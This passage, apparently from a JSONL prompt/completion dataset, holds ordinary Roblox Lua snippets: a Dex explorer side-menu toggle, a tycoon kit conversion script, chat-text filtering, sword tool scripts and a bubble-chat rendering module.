end\n\tend\n\t\n\tif wName ~= \"Nothing c:\" then\n\t\tCurrentWindow = wName\n\t\tfor i,v in pairs(SlideFrame:GetChildren()) do\n\t\t\tv.BackgroundTransparency = 1\n\t\t\tv.Icon.ImageColor3 = Color3.new(70/255, 70/255, 70/255)\n\t\tend\n\t\tif SlideFrame:FindFirstChild(wName) then\n\t\t\tSlideFrame[wName].BackgroundTransparency = 0.5\n\t\t\tSlideFrame[wName].Icon.ImageColor3 = Color3.new(0,0,0)\n\t\tend\n\tend\nend\n\nfunction toggleDex(on)\n\tif on then\n\t\tSideMenu:TweenPosition(UDim2.new(1, -330, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\t\tOpenToggleButton:TweenPosition(UDim2.new(1,0,0,0), \"Out\", \"Quad\", 0.5, true)\n\t\tswitchWindows(CurrentWindow,true)\n\telse\n\t\tSideMenu:TweenPosition(UDim2.new(1, 0, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\t\t--OpenToggleButton:TweenPosition(UDim2.new(1,-30,0,0), \"Out\", \"Quad\", 0.5, true)\n\t\tswitchWindows(\"Nothing c:\")\n\t\twait(0.6)\n\t\tscript.Parent:Destroy()\n\tend\nend\n\nlocal Settings = {\n\tClickSelect = false,\n\tSelBox = false,\n\tClearProps = false,\n\tSelectUngrouped = true,\n\tSaveInstanceScripts = true\n}\n\nfunction ReturnSetting(set)\n\tif set == \"ClearProps\" then\n\t\treturn Settings.ClearProps\n\telseif set == \"SelectUngrouped\" then\n\t\treturn Settings.SelectUngrouped\n\tend\nend\n\nOpenToggleButton.MouseButton1Up:connect(function()\n\ttoggleDex(true)\nend)\n\nOpenScriptEditorButton.MouseButton1Up:connect(function()\n\tif OpenScriptEditorButton.Active then\n\t\t--ScriptEditor.Visible = true\n\tend\nend)\n\nCloseToggleButton.MouseButton1Up:connect(function()\n\tif CloseToggleButton.Active then\n\t\ttoggleDex(false)\n\tend\nend)\n"} +{"prompt": "--[[ Test\nfunction Tween(Object, Properties, Value, Time, Style, Direction)\n\tStyle = Style or Enum.EasingStyle.Quad\n\tDirection = Direction or Enum.EasingDirection.Out\n\tTime = Time or 0.5\n\tlocal propertyGoals = {}\n\tlocal Table = (type(Value) == \"table\" and true) or false\n\tfor i,Property in pairs(Properties) do\n\t\tpropertyGoals[Property] = Table and Value[i] or Value\n\tend\n\tlocal tweenInfo = TweenInfo.new(Time, Style, Direction)\n\tlocal tween = game:GetService(\"TweenService\"):Create(Object,tweenInfo,propertyGoals)\n\ttween:Play()\nend\ngame.StarterGui.CoreGUI.BadgeScaling.Size = UDim2.new(0,50,0,50)\ngame.StarterGui.CoreGUI.BadgeScaling.ImageTransparency = 0\ngame.StarterGui.CoreGUI.BadgeScaling.Visible = true\nTween(game.StarterGui.CoreGUI.BadgeScaling, {\"Size\", \"ImageTransparency\"}, {UDim2.new(0,250,0,250), 1}, 1)\n]]", "completion": "\n\nreturn module\n"} +{"prompt": "--CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR", "completion": "\n\nlocal TycoonName = \"INSERT TYCOON NAME HERE\"\n\nif game.Workspace:FindFirstChild(TycoonName) then\n\tlocal s = nil\n\tlocal bTycoon = game.Workspace:FindFirstChild(TycoonName)\n\tlocal zTycoon = game.Workspace:FindFirstChild(\"Zednov's Tycoon Kit\")\n\tlocal new_Collector = zTycoon['READ ME'].Script:Clone()\n\tlocal Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone()\n\tif zTycoon then\n\t\tfor i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo'\n\t\t\tif v then\n\t\t\t\ts = v.PurchaseHandler:Clone()\n\t\t\t\tv:Destroy()\n\t\t\tend\n\t\tend\n\t\t-- Now make it compatiable\n\t\tif s ~= nil then\n\t\t\tfor i,v in pairs(bTycoon.Tycoons:GetChildren()) do\n\t\t\t\tlocal New_Tycoon = v:Clone()\n\t\t\t\tNew_Tycoon:FindFirstChild('PurchaseHandler'):Destroy()\n\t\t\t\ts:Clone().Parent = New_Tycoon\n\t\t\t\tlocal Team_C = Instance.new('BrickColorValue',New_Tycoon)\n\t\t\t\tTeam_C.Value = BrickColor.new(tostring(v.Name))\n\t\t\t\tTeam_C.Name = \"TeamColor\"\n\t\t\t\tNew_Tycoon.Name = v.TeamName.Value\n\t\t\t\tNew_Tycoon.Cash.Name = \"CurrencyToCollect\"\n\t\t\t\tNew_Tycoon.Parent = zTycoon.Tycoons\n\t\t\t\tNew_Tycoon.TeamName:Destroy()\n\t\t\t\tv:Destroy()\n\t\t\t\tNew_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy()\n\t\t\t\tlocal n = new_Collector:Clone()\n\t\t\t\tn.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0')\n\t\t\t\tn.Disabled = false\n\t\t\t\tNew_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy()\n\t\t\t\tlocal g = Gate:Clone()\n\t\t\t\tg.Parent = New_Tycoon.Gate['Touch to claim ownership!']\n\t\t\tend\n\t\telse\n\t\t\terror(\"Please don't tamper with script names or this won't work!\")\n\t\tend\n\telse\n\t\terror(\"Please don't change the name of our tycoon kit or it won't work!\")\n\tend\n\tbTycoon:Destroy()\n\tGate:Destroy()\n\tnew_Collector:Destroy()\n\tprint('Transfer complete! :)')\nelse\n\terror(\"Check if you spelt the kit's name wrong!\")\nend\n"} +{"prompt": "-- Returns whether the inputted status passes the TextFilter, otherwise also returns an error", "completion": "\nfunction UpdateProfileRemoteFunction.OnServerInvoke(playerFiring, playerSelected, statusText)\n\tlocal filteredStatus = filterText(statusText, playerSelected.UserId, playerFiring.UserId)\n\tif filteredStatus == statusText then\n\t\tplayerFiring:SetAttribute(\"status\", filteredStatus)\n\tend\n\treturn { success = filteredStatus == statusText }\nend\n"} +{"prompt": "--// Use the power of the Dark Flames and hit as many people as you can to perform a chain attack!", "completion": "\n\nlocal Properties = {\n\tDamageMode = \"Normal\", --What mode to reference the damage tables listed below\n\t\n\tSpecial = true,--The internal logical indicator to determine if we can use our special.\n\t\n\tSpecial_Reload = 10, --The Cooldown time until the ability is ready to be used.\n\t\n\tSpeedCap = 50, --This is the wielder's walkspeed when equipped\n\n\tDamageValues = {\n\t\tNormal = {\n\t\t\tMin = 2,\n\t\t\tMax = 5,\n\t\t},\n\t\t\n\t\tLunge = {\n\t\t\tMin = 7,\n\t\t\tMax = 10\n\t\t}\n\t}\n\n}\n\nlocal FindFirstChild, FindFirstChildOfClass, WaitForChild = script.FindFirstChild, script.FindFirstChildOfClass, script.WaitForChild\n\nlocal Clone, Destroy = script.Clone, script.Destroy\n\nlocal GetChildren = script.GetChildren\n\nlocal IsA = script.IsA\n\nlocal Tool = script.Parent\nTool.Enabled = true\n\nlocal DefaultGrip = FindFirstChild(Tool, \"DefaultGrip\") \nif not DefaultGrip then\n\t-- Create a new grip reference\n\tDefaultGrip = Instance.new(\"CFrameValue\")\n\tDefaultGrip.Name = \"DefaultGrip\"\n\tDefaultGrip.Value = Tool.Grip\n\tDefaultGrip.Parent = Tool\nend\n\nTool.Grip = DefaultGrip.Value --Reset the Tool's grip values to the DefaultGrip Value\n\nlocal Handle = WaitForChild(Tool, \"Handle\")\n\npcall(function()\n\tHandle[\"Sparkle_Large_Blue\"].Enabled = true --We're gonna use this as our visual indicator for our special.\nend)\n\nlocal Sounds = {\n\tEquip = WaitForChild(Handle, \"Equip\"),\n\tSlash = WaitForChild(Handle, \"Slash\"),\n\tLunge = WaitForChild(Handle, \"Lunge\") \n}\n\nlocal Players = (game:FindService(\"Players\") or game:GetService(\"Players\"))\nlocal Debris = (game:FindService(\"Debris\") or game:GetService(\"Debris\"))\nlocal RunService = (game:FindService(\"RunService\") or game:GetService(\"RunService\"))\nlocal ServerScriptService = (game:FindService(\"ServerScriptService\") or game:GetService(\"ServerScriptService\"))\n\nlocal NewRay = Ray.new\n"} +{"prompt": "-- init chat bubble tables", "completion": "\nlocal function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)\n\tthis.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)\n\tthis.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)\n\tthis.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)\nend\n\ninitChatBubbleType(BubbleColor.WHITE,\t\"ui/dialog_white\",\t\"ui/chatBubble_white_notify_bkg\", \tfalse,\tRect.new(5,5,15,15))\ninitChatBubbleType(BubbleColor.BLUE,\t\"ui/dialog_blue\",\t\"ui/chatBubble_blue_notify_bkg\",\ttrue, \tRect.new(7,7,33,33))\ninitChatBubbleType(BubbleColor.RED,\t\t\"ui/dialog_red\",\t\"ui/chatBubble_red_notify_bkg\",\t\ttrue,\tRect.new(7,7,33,33))\ninitChatBubbleType(BubbleColor.GREEN,\t\"ui/dialog_green\",\t\"ui/chatBubble_green_notify_bkg\",\ttrue,\tRect.new(7,7,33,33))\n\nfunction this:SanitizeChatLine(msg)\n\tif string.len(msg) > MaxChatMessageLengthExclusive then\n\t\treturn string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES))\n\telse\n\t\treturn msg\n\tend\nend\n\nlocal function createBillboardInstance(adornee)\n\tlocal billboardGui = Instance.new(\"BillboardGui\")\n\tbillboardGui.Adornee = adornee\n\tbillboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT)\n\tbillboardGui.StudsOffset = Vector3.new(0, 1.5, 2)\n\tbillboardGui.Parent = BubbleChatScreenGui\n\n\tlocal billboardFrame = Instance.new(\"Frame\")\n\tbillboardFrame.Name = \"BillboardFrame\"\n\tbillboardFrame.Size = UDim2.new(1,0,1,0)\n\tbillboardFrame.Position = UDim2.new(0,0,-0.5,0)\n\tbillboardFrame.BackgroundTransparency = 1\n\tbillboardFrame.Parent = billboardGui\n\n\tlocal billboardChildRemovedCon = nil\n\tbillboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()\n\t\tif #billboardFrame:GetChildren() <= 1 then\n\t\t\tbillboardChildRemovedCon:disconnect()\n\t\t\tbillboardGui:Destroy()\n\t\tend\n\tend)\n\n\tthis:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame\n\n\treturn billboardGui\nend\n\nfunction this:CreateBillboardGuiHelper(instance, onlyCharacter)\n\tif instance and not this.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] then\n\t\tif not onlyCharacter then\n\t\t\tif instance:IsA(\"BasePart\") then\n\t\t\t\t-- Create a new billboardGui object attached to this player\n\t\t\t\tlocal billboardGui = createBillboardInstance(instance)\n\t\t\t\tthis.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] = billboardGui\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\n\t\tif instance:IsA(\"Model\") then\n\t\t\tlocal head = instance:FindFirstChild(\"Head\")\n\t\t\tif head and head:IsA(\"BasePart\") then\n\t\t\t\t-- Create a new billboardGui object attached to this player\n\t\t\t\tlocal billboardGui = createBillboardInstance(head)\n\t\t\t\tthis.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] = billboardGui\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function distanceToBubbleOrigin(origin)\n\tif not origin then return 100000 end\n\n\treturn (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude\nend\n\nlocal function isPartOfLocalPlayer(adornee)\n\tif adornee and PlayersService.LocalPlayer.Character then\n\t\treturn adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)\n\tend\nend\n\nfunction this:SetBillboardLODNear(billboardGui)\n\tlocal isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)\n\tbillboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)\n\tbillboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)\n\tbillboardGui.Enabled = true\n\tlocal billChildren = billboardGui.BillboardFrame:GetChildren()\n\tfor i = 1, #billChildren do\n\t\tbillChildren[i].Visible = true\n\tend\n\tbillboardGui.BillboardFrame.SmallTalkBubble.Visible = false\nend\n\nfunction this:SetBillboardLODDistant(billboardGui)\n\tlocal isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)\n\tbillboardGui.Size = UDim2.new(4,0,3,0)\n\tbillboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)\n\tbillboardGui.Enabled = true\n\tlocal billChildren = billboardGui.BillboardFrame:GetChildren()\n\tfor i = 1, #billChildren do\n\t\tbillChildren[i].Visible = false\n\tend\n\tbillboardGui.BillboardFrame.SmallTalkBubble.Visible = true\nend\n\nfunction this:SetBillboardLODVeryFar(billboardGui)\n\tbillboardGui.Enabled = false\nend\n\nfunction this:SetBillboardGuiLOD(billboardGui, origin)\n\tif not origin then return end\n\n\tif origin:IsA(\"Model\") then\n\t\tlocal head = origin:FindFirstChild(\"Head\")\n\t\tif not head then origin = origin.PrimaryPart\n\t\telse origin = head end\n\tend\n\n\tlocal bubbleDistance = distanceToBubbleOrigin(origin)\n\n\tif bubbleDistance < NEAR_BUBBLE_DISTANCE then\n\t\tthis:SetBillboardLODNear(billboardGui)\n\telseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then\n\t\tthis:SetBillboardLODDistant(billboardGui)\n\telse\n\t\tthis:SetBillboardLODVeryFar(billboardGui)\n\tend\nend\n\nfunction this:CameraCFrameChanged()\n\tfor index, value in pairs(this.CharacterSortedMsg:GetData()) do\n\t\tlocal playerBillboardGui = value[\"BillboardGui\"]\n\t\tif playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end\n\tend\nend\n\nfunction this:CreateBubbleText(message)\n\tlocal bubbleText = Instance.new(\"TextLabel\")\n\tbubbleText.Name = \"BubbleText\"\n\tbubbleText.BackgroundTransparency = 1\n\tbubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0)\n\tbubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0)\n\tbubbleText.Font = CHAT_BUBBLE_FONT\n\tif shouldClipInGameChat then\n\t\tbubbleText.ClipsDescendants = true\n\tend\n\tbubbleText.TextWrapped = true\n\tbubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE\n\tbubbleText.Text = message\n\tbubbleText.Visible = false\n\n\treturn bubbleText\nend\n\nfunction this:CreateSmallTalkBubble(chatBubbleType)\n\tlocal smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()\n\tsmallTalkBubble.Name = \"SmallTalkBubble\"\n\tsmallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)\n\tsmallTalkBubble.Position = UDim2.new(0,0,0.5,0)\n\tsmallTalkBubble.Visible = false\n\tlocal text = this:CreateBubbleText(\"...\")\n\ttext.TextScaled = true\n\ttext.TextWrapped = false\n\ttext.Visible = true\n\ttext.Parent = smallTalkBubble\n\n\treturn smallTalkBubble\nend\n\nfunction this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)\n\tlocal bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo\n\tlocal bubbleQueueSize = bubbleQueue:Size()\n\tlocal bubbleQueueData = bubbleQueue:GetData()\n\tif #bubbleQueueData <= 1 then return end\n\n\tfor index = (#bubbleQueueData - 1), 1, -1 do\n\t\tlocal value = bubbleQueueData[index]\n\t\tlocal bubble = value.RenderBubble\n\t\tif not bubble then return end\n\t\tlocal bubblePos = bubbleQueueSize - index + 1\n\n\t\tif bubblePos > 1 then\n\t\t\tlocal tail = bubble:FindFirstChild(\"ChatBubbleTail\")\n\t\t\tif tail then tail:Destroy() end\n\t\t\tlocal bubbleText = bubble:FindFirstChild(\"BubbleText\")\n\t\t\tif bubbleText then bubbleText.TextTransparency = 0.5 end\n\t\tend\n\n\t\tlocal udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,\n\t\t\t\t\t\t\t\t\t1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT )\n\t\tbubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)\n\t\tcurrentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT\n\tend\nend\n\nfunction this:DestroyBubble(bubbleQueue, bubbleToDestroy)\n\tif not bubbleQueue then return end\n\tif bubbleQueue:Empty() then return end\n\n\tlocal bubble = bubbleQueue:Front().RenderBubble\n\tif not bubble then\n\t\tbubbleQueue:PopFront()\n\t \treturn\n\tend\n\n\tspawn(function()\n\t\twhile bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do\n\t\t\twait()\n\t\tend\n\n\t\tbubble = bubbleQueue:Front().RenderBubble\n\n\t\tlocal timeBetween = 0\n\t\tlocal bubbleText = bubble:FindFirstChild(\"BubbleText\")\n\t\tlocal bubbleTail = bubble:FindFirstChild(\"ChatBubbleTail\")\n\n\t\twhile bubble and bubble.ImageTransparency < 1 do\n\t\t\ttimeBetween = wait()\n\t\t\tif bubble then\n\t\t\t\tlocal fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED\n\t\t\t\tbubble.ImageTransparency = bubble.ImageTransparency + fadeAmount\n\t\t\t\tif bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end\n\t\t\t\tif bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end\n\t\t\tend\n\t\tend\n\n\t\tif bubble then\n\t\t\tbubble:Destroy()\n\t\t\tbubbleQueue:PopFront()\n\t\tend\n\tend)\nend\n\nfunction this:CreateChatLineRender(instance, line, onlyCharacter, fifo)\n\tif not instance then return end\n\n\tif not this.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] then\n\t\tthis:CreateBillboardGuiHelper(instance, onlyCharacter)\n\tend\n\n\tlocal billboardGui = this.CharacterSortedMsg:Get(instance)[\"BillboardGui\"]\n\tif billboardGui then\n\t\tlocal chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()\n\t\tchatBubbleRender.Visible = false\n\t\tlocal bubbleText = this:CreateBubbleText(line.Message)\n\n\t\tbubbleText.Parent = chatBubbleRender\n\t\tchatBubbleRender.Parent = billboardGui.BillboardFrame\n\n\t\tline.RenderBubble = chatBubbleRender\n\n\t\tlocal currentTextBounds = TextService:GetTextSize(\n\t\t\t\tbubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,\n\t\t\t\tVector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))\n\t\tlocal bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1)\n\t\tlocal numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT)\n\n\t\t-- prep chat bubble for tween\n\t\tchatBubbleRender.Size = UDim2.new(0,0,0,0)\n\t\tchatBubbleRender.Position = UDim2.new(0.5,0,1,0)\n\n\t\tlocal newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT\n\n\t\tchatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),\n\t\t\t\t\t\t\t\t\t\t\t \tUDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY),\n\t\t\t\t\t\t\t\t\t\t\t \tEnum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,\n\t\t\t\t\t\t\t\t\t\t\t \tfunction() bubbleText.Visible = true end)\n\n\t\t-- todo: remove when over max bubbles\n\t\tthis:SetBillboardGuiLOD(billboardGui, line.Origin)\n\t\tthis:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)\n\n\t\tdelay(line.BubbleDieDelay, function()\n\t\t\tthis:DestroyBubble(fifo, chatBubbleRender)\n\t\tend)\n\tend\nend\n\nfunction this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)\n\n\tif not this:BubbleChatEnabled() then return end\n\n\tlocal localPlayer = PlayersService.LocalPlayer\n\tlocal fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer\n\n\tlocal safeMessage = this:SanitizeChatLine(message)\n\n\tlocal line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)\n\n\tif sourcePlayer and line.Origin then\n\t\tlocal fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo\n\t\tfifo:PushBack(line)\n\t\t--Game chat (badges) won't show up here\n\t\tthis:CreateChatLineRender(sourcePlayer.Character, line, true, fifo)\n\tend\nend\n\nfunction this:OnGameChatMessage(origin, message, color)\n\tlocal localPlayer = PlayersService.LocalPlayer\n\tlocal fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)\n\n\tlocal bubbleColor = BubbleColor.WHITE\n\n\tif color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE\n\telseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN\n\telseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end\n\n\tlocal safeMessage = this:SanitizeChatLine(message)\n\tlocal line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)\n\n\tthis.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)\n\tthis:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo)\nend\n\nfunction this:BubbleChatEnabled()\n\tlocal success, result = pcall(function() return ChatService.BubbleChatEnabled end)\n\tif not success then\n\t\tresult = false\n\tend\n\n\t-- To be removed when ChatService.BubbleChatEnabled is official\n\tlocal clientChatModules = ChatService:FindFirstChild(\"ClientChatModules\")\n\tif clientChatModules then\n\t\tlocal chatSettings = clientChatModules:FindFirstChild(\"ChatSettings\")\n\t\tif chatSettings then\n\t\t\tlocal chatSettings = require(chatSettings)\n\t\t\tif chatSettings.BubbleChatEnabled ~= nil then\n\t\t\t\treturn result or chatSettings.BubbleChatEnabled\n\t\t\tend\n\t\tend\n\tend\n\treturn result\n\t-- To be removed when ChatService.BubbleChatEnabled is official\nend\n\nfunction this:ShowOwnFilteredMessage()\n\tlocal clientChatModules = ChatService:FindFirstChild(\"ClientChatModules\")\n\tif clientChatModules then\n\t\tlocal chatSettings = clientChatModules:FindFirstChild(\"ChatSettings\")\n\t\tif chatSettings then\n\t\t\tchatSettings = require(chatSettings)\n\t\t\treturn chatSettings.ShowUserOwnFilteredMessage\n\t\tend\n\tend\n\treturn false\nend\n\nfunction findPlayer(playerName)\n\tfor i,v in pairs(PlayersService:GetPlayers()) do\n\t\tif v.Name == playerName then\n\t\t\treturn v\n\t\tend\n\tend\nend\n\nChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)\n\nlocal cameraChangedCon = nil\nif game.Workspace.CurrentCamera then\n\tcameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal(\"CFrame\"):connect(function(prop) this:CameraCFrameChanged() end)\nend\n\ngame.Workspace.Changed:connect(function(prop)\n\tif prop == \"CurrentCamera\" then\n\t\tif cameraChangedCon then cameraChangedCon:disconnect() end\n\t\tif game.Workspace.CurrentCamera then\n\t\t\tcameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal(\"CFrame\"):connect(function(prop) this:CameraCFrameChanged() end)\n\t\tend\n\tend\nend)\n\n\nlocal AllowedMessageTypes = nil\n\nfunction getAllowedMessageTypes()\n\tif AllowedMessageTypes then\n\t\treturn AllowedMessageTypes\n\tend\n\tlocal clientChatModules = ChatService:FindFirstChild(\"ClientChatModules\")\n\tif clientChatModules then\n\t\tlocal chatSettings = clientChatModules:FindFirstChild(\"ChatSettings\")\n\t\tif chatSettings then\n\t\t\tchatSettings = require(chatSettings)\n\t\t\tif chatSettings.BubbleChatMessageTypes then\n\t\t\t\tAllowedMessageTypes = chatSettings.BubbleChatMessageTypes\n\t\t\t\treturn AllowedMessageTypes\n\t\t\tend\n\t\tend\n\t\tlocal chatConstants = clientChatModules:FindFirstChild(\"ChatConstants\")\n\t\tif chatConstants then\n\t\t\tchatConstants = require(chatConstants)\n\t\t\tAllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}\n\t\tend\n\t\treturn AllowedMessageTypes\n\tend\n\treturn {\"Message\", \"Whisper\"}\nend\n\nfunction checkAllowedMessageType(messageData)\n\tlocal allowedMessageTypes = getAllowedMessageTypes()\n\tfor i = 1, #allowedMessageTypes do\n\t\tif allowedMessageTypes[i] == messageData.MessageType then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nlocal ChatEvents = ReplicatedStorage:WaitForChild(\"DefaultChatSystemChatEvents\")\nlocal OnMessageDoneFiltering = ChatEvents:WaitForChild(\"OnMessageDoneFiltering\")\nlocal OnNewMessage = ChatEvents:WaitForChild(\"OnNewMessage\")\n\nOnNewMessage.OnClientEvent:connect(function(messageData, channelName)\n\tif not checkAllowedMessageType(messageData) then\n\t\treturn\n\tend\n\n\tlocal sender = findPlayer(messageData.FromSpeaker)\n\tif not sender then\n\t\treturn\n\tend\n\t\n\tif not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then\n\t\tif messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then\n\t\t\treturn\n\t\tend\n\tend\n\n\tthis:OnPlayerChatMessage(sender, messageData.Message, nil)\nend)\n\nOnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)\n\tif not checkAllowedMessageType(messageData) then\n\t\treturn\n\tend\n\n\tlocal sender = findPlayer(messageData.FromSpeaker)\n\tif not sender then\n\t\treturn\n\tend\n\t\n\tif messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then\n\t\treturn\n\tend\n\t\n\tthis:OnPlayerChatMessage(sender, messageData.Message, nil)\nend)\n"} +{"prompt": "--[[ LawlR fix ]]", "completion": "--\n\nlocal ds = game:GetService(\"Debris\")\nlocal ps = game:GetService(\"Players\")\n\nwait(1)\n\nlocal tool = script.Parent\nlocal handle = tool:WaitForChild(\"Handle\")\nlocal slashSound = handle.Slash\nlocal lungeSound = handle.Lunge\nlocal unsheathSound = handle.Unsheath\n\nlocal baseDmg = 5\nlocal slashDmg = 10\nlocal lungeDmg = 20\nlocal dmg = slashDmg\nlocal gripUp = CFrame.new(0, 0, -2.35, 0, 0, 1, 1, 0, 0, 0, 1, 0)\nlocal gripOut = CFrame.new(0, 0, -2.35, 0, 1, 0, 1, -0, 0, 0, 0, -1)\nlocal lastAttack = 0\n\nlocal plr, chr, hum\nlocal db\nlocal lastAttackTag\n\nlocal attackAnimString = Instance.new(\"StringValue\")\nattackAnimString.Name = \"toolanim\"\n\n\nlocal function tagHum(hum)\n\tlocal tag = Instance.new(\"ObjectValue\")\n\ttag.Name = \"creator\"\n\ttag.Value = plr\n\ttag.Parent = hum\n\tds:AddItem(tag, 2)\nend\n\nlocal function isTeamMate(hitPlr)\n\treturn (hitPlr and plr and not hitPlr.Neutral and not plr.Neutral and hitPlr.TeamColor == plr.TeamColor)\nend\n\nlocal function onHit(hit)\n\tlocal hitHum = hit.Parent:FindFirstChildWhichIsA(\"Humanoid\") or hit.Parent.Parent:FindFirstChildWhichIsA(\"Humanoid\")\n\tif hitHum and hitHum.Health > 0 then\n\t\tif hitHum ~= hum then\n\t\t\tlocal hitChr = hitHum.Parent\n\t\t\tlocal hitPlr = ps:GetPlayerFromCharacter(hitChr)\n\t\t\tif hitPlr and isTeamMate(hitPlr) then\n\t\t\t\treturn\n\t\t\tend\n\t\t\ttagHum(hitHum)\n\t\t\thitHum:TakeDamage(dmg)\n\t\tend\n\tend\nend\n\nlocal function attack(tag)\n\tdmg = slashDmg\n\tslashSound:play()\n\t\n\tlocal anim = attackAnimString:Clone()\n\tanim.Value = \"Slash\"\n\tanim.Parent = tool\n\t\n\tcoroutine.wrap(function()\n\t\twait(.5)\n\t\tif lastAttackTag == tag then\n\t\t\tdmg = baseDmg\n\t\tend\n\tend)()\nend\n\nlocal function lunge()\n\tdmg = lungeDmg\n\tlungeSound:play()\n\n\tlocal anim = attackAnimString:Clone()\n\tanim.Value = \"Lunge\"\n\tanim.Parent = tool\n\t\n\twait(.2)\n\ttool.Grip = gripOut\n\twait(.6)\n\ttool.Grip = gripUp\n\tdmg = baseDmg\nend\n\n\ntool.Activated:Connect(function()\n\tif not db then\n\t\tdb = true\n\t\ttool.Enabled = false\n\t\tlocal t = tick()\n\t\tlastAttackTag = t\n\t\n\t\tif (t - lastAttack < .2) then\n\t\t\tlunge()\n\t\telse\n\t\t\tattack(t)\n\t\tend\n\t\n\t\tlastAttack = t\n\t\tdb = false\n\t\ttool.Enabled = true\n\tend\nend)\n\ntool.Equipped:Connect(function()\n\tunsheathSound:Play()\n\tlastAttack = tick()\n\tlocal tempChr = tool.Parent\n\tlocal tempHum = tempChr:FindFirstChildWhichIsA(\"Humanoid\")\n\tif tempHum then\n\t\tchr = tempChr\n\t\thum = tempHum\n\t\tplr = 